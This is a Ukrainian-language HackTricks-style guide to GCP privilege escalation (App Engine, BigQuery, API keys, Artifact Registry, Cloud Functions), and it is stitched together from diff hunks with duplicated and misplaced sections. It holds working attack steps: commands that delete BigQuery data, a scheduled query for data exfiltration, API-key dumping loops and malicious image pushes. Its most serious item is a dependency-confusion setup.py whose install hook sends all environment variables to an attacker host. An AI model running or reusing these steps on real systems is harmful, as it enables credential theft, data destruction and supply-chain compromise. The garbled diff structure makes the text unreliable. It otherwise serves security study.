Отже, з API key ви можете змусити компанію платити за ваше використання API, але ви не зможете підвищити привілеї.
|
||||
|
||||
Для отримання додаткової інформації про API Keys дивіться:
|
||||
Для отримання додаткової інформації про App Engine перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Для інших способів створення API keys дивіться:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Це необхідні дозволи для **розгортання додатку за допомогою `gcloud` cli**. Можливо, дозволи **`get`** та **`list`** можна **опустити**.
|
||||
|
||||
Приклади python-коду можна знайти в [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
За замовчуванням назва сервісу додатку буде **`default`**, і може бути лише 1 екземпляр з тією ж назвою.\
|
||||
Щоб змінити це і створити другий додаток, у **`app.yaml`** змініть значення кореневого ключа на щось на кшталт **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Дайте цьому принаймні 10–15 хвилин; якщо це не допоможе — виконайте **deploy ще кілька разів** і зачекайте кілька хвилин.
|
||||
|
||||
> [!NOTE]
|
||||
> Можна **вказати Service Account, який використовувати**, але за замовчуванням використовується App Engine default SA.
|
||||
|
||||
URL додатка приблизно такий: `https://<proj-name>.oa.r.appspot.com/` або `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Оновлення еквівалентних дозволів
|
||||
|
||||
Можливо, у вас є достатні дозволи для оновлення AppEngine, але не для створення нового. У такому випадку ось як ви можете оновити поточний App Engine:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Якщо ви **вже скомпрометували AppEngine** і маєте дозвіл **`appengine.applications.update`** та **actAs** над сервісним обліковим записом, який використовує AppEngine, ви можете змінити сервісний обліковий запис, що використовується AppEngine, за допомогою:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
З цими дозволами можна **підключитися через ssh до App Engine instances** типу **flexible** (не standard). Деякі з **`list`** та **`get`** дозволів **можуть фактично не знадобитися**.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Я вважаю, це просто змінює фоновий SA, якого google використовуватиме для налаштування додатків, тож я не думаю, що цим можна зловживати, щоб вкрасти service account.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Не впевнений, як використовувати ці дозволи або чи вони корисні (зауважте, що коли ви змінюєте код, створюється нова версія, тому я не знаю, чи можна просто оновити код або IAM role однієї версії, але, мабуть, це можливо — можливо, змінивши код всередині bucket??).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
Щоб видалити таблиці, набір даних або моделі:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Зловживання Scheduled Queries
|
||||
|
||||
Маючи дозволи `bigquery.datasets.get`, `bigquery.jobs.create` та `iam.serviceAccounts.actAs`, суб’єкт може запитувати метадані dataset, запускати BigQuery jobs і виконувати їх з використанням Service Account з вищими привілеями.
|
||||
|
||||
Ця атака дозволяє зловмисному використанню Scheduled Queries для автоматизації запитів (що виконуються під обраним Service Account), що, наприклад, може призвести до читання чутливих даних та запису їх в іншу table або dataset, до яких зловмисник має доступ — полегшуючи непряму та безперервну ексфільтрацію без потреби вивозити дані назовні.
|
||||
|
||||
Як тільки зловмисник дізнається, який Service Account має необхідні дозволи для виконання потрібного запиту, він може створити конфігурацію Scheduled Query, яка працює від імені цього Service Account і періодично записує результати в dataset на його вибір.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### Доступ на запис до buckets
|
||||
|
||||
Як згадувалося, версії appengine генерують деякі дані всередині bucket з іменем у форматі: `staging.<project-id>.appspot.com`. Зауважте, що заздалегідь перехопити цей bucket неможливо, оскільки користувачам GCP не дозволено створювати buckets з доменом `appspot.com`.
|
||||
|
||||
Однак, маючи доступ на читання й запис до цього bucket, можна підвищити привілеї до SA, прикріпленого до версії AppEngine, відстежуючи bucket і щоразу при зміні якомога швидше змінювати код. Таким чином контейнер, що створиться з цього коду, буде **виконувати backdoored code**.
|
||||
|
||||
Для додаткової інформації та **PoC перевірте відповідну інформацію на цій сторінці**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Доступ на запис до Artifact Registry
|
||||
|
||||
Оскільки ви можете не знати, які API ввімкнені в проєкті або які обмеження застосовано до знайденого API key, варто запустити інструмент [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) і перевірити **до чого ви маєте доступ з цим API key.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Цей дозвіл дозволяє **створювати API key**:
|
||||
|
||||
<details>
|
||||
<summary>Створити API key за допомогою gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зауважте, що за замовчуванням користувачі мають дозволи на створення нових проєктів і їм призначається роль Owner у новому проєкті. Тому користувач може **створити проєкт та API key всередині цього проєкту**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Ці дозволи дозволяють **переглянути список усіх apiKeys та отримати Key**:
|
||||
|
||||
<details>
|
||||
<summary>Перелік і отримання всіх API ключів</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Ці дозволи дозволяють вам **перелічувати та відновлювати видалені API keys**. **API key** виводиться в результаті після виконання **undelete**:
|
||||
|
||||
<details>
|
||||
<summary>Перелік та відновлення API keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Створити внутрішній OAuth-додаток для phish інших співробітників
|
||||
|
||||
Перегляньте наступну сторінку, щоб дізнатися, як це зробити, хоча ця дія належить до сервісу **`clientauthconfig`** [згідно з документацією](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
Хоч App Engine і створює docker images в Artifact Registry, було перевірено, що **навіть якщо ви зміните image всередині цього сервісу** і видалите App Engine instance (тоді розгортається новий), **виконуваний код не змінюється**.\
|
||||
Можливо, що виконання **Race Condition attack, як у випадку з buckets, могло б перезаписати виконуваний код**, але це не було протестовано.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+87
-32
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Для отримання додаткової інформації про Artifact Registry див.:
|
||||
Для додаткової інформації про Artifact Registry дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,10 +12,10 @@
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Маючи цей дозвіл, атакуючий може завантажувати нові версії артефактів зі шкідливим кодом, наприклад Docker-образами:
|
||||
З цим дозволом атакуючий може завантажувати нові версії артефактів з шкідливим кодом, наприклад Docker images:
|
||||
|
||||
<details>
|
||||
<summary>Завантажити Docker image до Artifact Registry</summary>
|
||||
<summary>Завантажити Docker image в Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Було перевірено, що **можливо завантажити новий шкідливий docker** образ з тією самою назвою та тегом, що й вже наявний, тому **старий образ втратить тег**, і наступного разу, коли образ з цим тегом буде **завантажено, буде завантажено шкідливий**.
|
||||
> Було перевірено, що **можна завантажити новий шкідливий docker** image з тим самим ім'ям і tag, що вже присутній, тож **старий втратить tag**, і наступного разу, коли image з цим tag буде завантажено, **буде завантажено шкідливий**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload a Python library</summary>
|
||||
<summary>Завантажити Python бібліотеку</summary>
|
||||
|
||||
**Почніть зі створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру ви можете уникнути цього кроку):
|
||||
**Почніть зі створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру, ви можете уникнути цього кроку):
|
||||
|
||||
1. **Налаштуйте структуру проекту**:
|
||||
|
||||
- Створіть нову директорію для вашої бібліотеки, наприклад, `hello_world_library`.
|
||||
- Всередині цієї директорії створіть іншу директорію з назвою пакета, наприклад, `hello_world`.
|
||||
- Всередині директорії пакета створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакета.
|
||||
- Створіть новий каталог для вашої бібліотеки, наприклад, `hello_world_library`.
|
||||
- Всередині цього каталогу створіть ще один каталог з назвою пакета, наприклад, `hello_world`.
|
||||
- Всередині каталогу пакета створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакета.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
<summary>Створити структуру проекту</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -57,11 +57,11 @@ touch hello_world/__init__.py
|
||||
|
||||
2. **Напишіть код бібліотеки**:
|
||||
|
||||
- Всередині директорії `hello_world` створіть новий файл Python для вашого модуля, наприклад, `greet.py`.
|
||||
- Всередині каталогу `hello_world` створіть новий Python-файл для вашого модуля, наприклад, `greet.py`.
|
||||
- Напишіть вашу функцію "Hello, World!":
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
<summary>Створити модуль бібліотеки</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -73,11 +73,11 @@ return "Hello, World!"
|
||||
|
||||
3. **Створіть файл `setup.py`**:
|
||||
|
||||
- У корені вашої директорії `hello_world_library` створіть файл `setup.py`.
|
||||
- У корені вашого каталогу `hello_world_library` створіть файл `setup.py`.
|
||||
- Цей файл містить метадані про вашу бібліотеку і вказує Python, як її встановлювати.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
<summary>Створити setup.py файл</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -95,14 +95,14 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**Тепер завантажимо бібліотеку:**
|
||||
**Тепер давайте завантажимо бібліотеку:**
|
||||
|
||||
1. **Зберіть пакет**:
|
||||
|
||||
- З кореня директорії `hello_world_library` запустіть:
|
||||
- З кореня вашого каталогу `hello_world_library` виконайте:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
<summary>Збірка Python пакета</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
@@ -110,12 +110,12 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **Налаштуйте автентифікацію для twine** (використовується для завантаження пакета):
|
||||
- Переконайтесь, що у вас встановлено `twine` (`pip install twine`).
|
||||
2. **Налаштуйте автентифікацію для twine** (використовується для завантаження вашого пакета):
|
||||
- Переконайтеся, що у вас встановлений `twine` (`pip install twine`).
|
||||
- Використайте `gcloud` для налаштування облікових даних:
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
<summary>Завантажити пакет за допомогою twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Неможливо завантажити python бібліотеку з тією ж версією, що вже присутня, але можна завантажити **більш нові версії** (або додати в кінець версії додатковий **`.0`**, якщо це працює — хоча не для python), або **видалити останню версію і завантажити нову замість неї** (потрібний `artifactregistry.versions.delete`):
|
||||
> Неможливо завантажити python-бібліотеку з тією самою версією, що вже присутня, але можна завантажити **більші версії** (або додати додаткове **`.0` в кінці** версії, якщо це працює — хоча не для python), або **видалити останню версію і завантажити нову з тією ж версією** (потрібний `artifactregistry.versions.delete`):**
|
||||
>
|
||||
> <details>
|
||||
> <summary>Видалити версію артефакту</summary>
|
||||
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Завдяки цьому дозволу ви можете **завантажувати артефакти** та шукати **чутливу інформацію** і **вразливості**.
|
||||
Маючи цей дозвіл, ви можете **завантажувати артефакти** та шукати **чутливу інформацію** й **вразливості**.
|
||||
|
||||
Завантажити **Docker** образ:
|
||||
Завантажити **Docker**-образ:
|
||||
|
||||
<details>
|
||||
<summary>Завантажити Docker образ з Artifact Registry</summary>
|
||||
<summary>Завантажити Docker-образ з Artifact Registry</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
```
|
||||
</details>
|
||||
|
||||
- Що відбудеться, якщо віддалені та стандартні реєстри змішані у віртуальному, і пакет існує в обох? Перегляньте цю сторінку:
|
||||
- Що станеться, якщо віддалений і стандартний реєстри змішані в одному віртуальному реєстрі і пакет існує в обох? Перевірте цю сторінку:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Видаляє артефакти з реєстру, наприклад docker образи:
|
||||
Видалити артефакти з реєстру, наприклад docker images:
|
||||
|
||||
<details>
|
||||
<summary>Видалити Docker образ з Artifact Registry</summary>
|
||||
<summary>Видалити Docker image з Artifact Registry</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Атакувальник із цим дозволом може надати собі права для виконання деяких раніше згаданих атак на репозиторій.
|
||||
Зловмисник із цим дозволом може надати собі права для виконання деяких із раніше згаданих атак на репозиторій.
|
||||
|
||||
### Переорієнтація на інші сервіси через Artifact Registry (читання та запис)
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Коли створюється Cloud Function, новий docker image завантажується в Artifact Registry проєкту. Я намагався модифікувати образ іншим, а також видалити поточний образ (і `cache` image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, **можна зловживати Race Condition attack**, як із bucket, щоб змінити docker-контейнер, який буде запущено, але **просто змінення збереженого образу не дозволяє скомпрометувати Cloud Function**.
|
||||
Коли створюється Cloud Function, новий docker image завантажується в Artifact Registry проєкту. Я намагався замінити image на новий і навіть видалити поточний image (та `cache` image), але нічого не змінилося — cloud function продовжувала працювати. Отже, можливо **можна зловживати Race Condition attack**, як із bucket, щоб змінити docker container, який буде запущено, але **лише модифікація збереженого image не дозволяє скомпрометувати Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Хоча App Engine створює docker images в Artifact Registry. Було перевірено, що **навіть якщо змінити образ всередині цього сервісу** і видалити інстанс App Engine (тобто буде розгорнуто новий), **виконуваний код не змінюється**.\
|
||||
Можливо, що виконання **Race Condition attack** як із buckets може дозволити перезаписати виконуваний код, але це не було протестовано.
|
||||
Хоча App Engine створює docker images в Artifact Registry. Було перевірено, що **навіть якщо ви зміните image всередині цього сервісу** і видалите інстанс App Engine (тобто буде розгорнутий новий), **виконуваний код не змінюється**.\
|
||||
Можливо, що виконання **Race Condition attack, подібної до тієї для buckets, може дозволити перезаписати виконуваний код**, але це не було протестовано.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
Зловмиснику не потрібні спеціальні дозволи Artifact Registry, щоб експлуатувати цю проблему — достатньо вразливої конфігурації virtual-repository. Це трапляється, коли virtual repository поєднує remote public repository (наприклад, PyPI, npm) з internal, і remote source має рівний або вищий пріоритет. Якщо обидва містять package з однаковою назвою, система обирає найвищу версію. Зловмиснику потрібно лише знати назву internal package і мати можливість публікувати пакети у відповідний public registry.
|
||||
|
||||
За наявності дозволу `artifactregistry.repositories.update` зловмисник може змінити upstream-настройки virtual repository, навмисно створивши цю вразливу конфігурацію, і використати Dependency Confusion як метод персистенції, вставивши шкідливі пакети, які розробники або CI/CD системи можуть встановлювати автоматично.
|
||||
|
||||
Зловмисник створює шкідливу версію internal package в public repository з вищим номером версії. Для Python packages це означає підготувати структуру пакета, яка імітує легітимну.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
Далі створюється файл setup.py, який містить шкідливий код, що виконається під час встановлення. Цей файл повинен вказувати номер версії вищий за той, що у приватному репозиторії.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Збудуйте пакет і видаліть wheel, щоб переконатися, що код виконається під час встановлення.
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
Завантажте шкідливий пакет до публічного репозиторію (наприклад, test.pypi.org для Python).
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
Коли система або сервіс встановлює пакет через віртуальний репозиторій, буде завантажено шкідливу версію з публічного репозиторію замість легітимної внутрішньої, оскільки шкідлива версія має вищий номер версії, а віддалений репозиторій має рівний або вищий пріоритет.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-27
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Детальніше про Cloud Functions:
|
||||
Більше інформації про Cloud Functions:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,21 +12,19 @@
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Атакуючий з такими привілеями може **створити новий Cloud Function з довільним (шкідливим) кодом і призначити йому Service Account**. Потім leak токен Service Account з метаданих, щоб підвищити привілеї до нього.\
|
||||
Можуть знадобитися деякі привілеї для виклику функції.
|
||||
Зловмисник з такими привілеями може **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Потім, leak the Service Account token from the metadata to escalate privileges to it.\
|
||||
Можуть знадобитися додаткові привілеї для тригеру функції.
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Атакуючий з такими привілеями може **змінити код Function і навіть змінити прикріплений Service Account** з метою викрадення токена.
|
||||
Зловмисник з такими привілеями може **modify the code of a Function and even modify the service account attached** з метою exfiltrating the token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Щоб розгорнути cloud functions, вам також потрібні права actAs над обліковим записом compute service account за замовчуванням або над service account, який використовується для побудови образу.
|
||||
> Щоб розгорнути cloud functions, вам також знадобляться actAs permissions над default compute service account або над service account, який використовується для збірки образу.
|
||||
|
||||
Можуть знадобитися додаткові привілеї, такі як `.call` permission для версії 1 cloudfunctions або роль `role/run.invoker` для виклику функції.
|
||||
|
||||
<details><summary>Оновлення Cloud Function шкідливим кодом для викрадення токена Service Account</summary>
|
||||
Деякі додаткові привілеї, такі як `.call` permission для версії 1 cloudfunctions або роль `role/run.invoker` для виклику функції, можуть знадобитися.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо ви отримуєте помилку `Permission 'run.services.setIamPolicy' denied on resource...`, це тому, що ви використовуєте параметр `--allow-unauthenticated` і у вас недостатньо прав для цього.
|
||||
> Якщо ви отримуєте помилку `Permission 'run.services.setIamPolicy' denied on resource...`, це тому, що ви використовуєте параметр `--allow-unauthenticated` і у вас недостатньо дозволів для цього.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Маючи цей дозвіл, ви можете отримати **підписаний URL, щоб завантажити файл у bucket функції (але код функції не буде змінений, вам все одно потрібно його оновити)**
|
||||
|
||||
<details><summary>Згенерувати підписаний URL для завантаження для Cloud Function</summary>
|
||||
З цим дозволом ви можете отримати **signed URL, щоб завантажити файл у function bucket (але код функції не зміниться, його все одно потрібно оновити)**
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,21 +69,33 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати.
|
||||
Не зовсім ясно, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але корисно знати.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Надайте собі будь-який з попередніх привілеїв **`.update`** або **`.create`** для ескалації.
|
||||
|
||||
Надайте собі будь-який із попередніх **`.update`** або **`.create`** привілеїв, щоб підвищити привілеї.
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Маючи лише права **`cloudfunctions`**, без **`iam.serviceAccounts.actAs`** ви **не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ PRIVESC.**
|
||||
Маючи лише дозволи **`cloudfunctions`**, без **`iam.serviceAccounts.actAs`** ви не зможете оновити функцію — тому це не дійсний PRIVESC.
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
### Виклик функцій
|
||||
|
||||
Якщо у вас є доступ на читання та запис до bucket, ви можете моніторити зміни в коді і щоразу, коли відбувається **оновлення в bucket, ви можете замінити новий код своїм**, так що нова версія Cloud Function буде запущена з поданим backdoored code.
|
||||
З дозволами `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run` та `run.routes.invoke` ідентичність може безпосередньо викликати Cloud Functions. Також необхідно, щоб функція дозволяла публічний трафік або щоб викликач знаходився в тій же мережі, що й сама функція.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Доступ на читання та запис до bucket
|
||||
|
||||
